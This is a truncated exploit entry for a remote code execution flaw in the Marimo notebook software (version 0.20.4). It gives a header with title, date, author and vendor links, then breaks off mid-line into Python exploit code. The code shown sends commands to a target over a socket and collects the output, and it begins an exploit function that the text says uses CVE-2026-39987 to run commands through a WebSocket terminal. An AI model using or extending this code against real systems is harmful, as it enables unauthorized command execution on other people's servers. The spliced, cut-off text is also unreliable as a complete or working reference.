Title: Marimo 0.20.4 - RCE Date: August 2nd, 2026 Exploit Author: Jason Bernier Vendor Homepage: https://marimo.io/ Software Link: https://github.com/marimo-team/marimo Version: str: """Send command to target and receive output""" try: if not conn: print("[-] No active connection") return "" conn.sendall(command.encode() + b"\n") time.sleep(1) output = b"" while True: try: data = conn.recv(4096) if not data: break output += data except socket.timeout: break return output.decode('utf-8', errors='ignore') except Exception as e: print(f"[-] Error sending command: {str(e)}") return "" def exploit(target_url: str, command: str = None) -> None: """ Exploit CVE-2026-39987 to execute commands via WebSocket terminal. Args: target_url: Target URL (e.g., http://localhost:2718) command: Command to…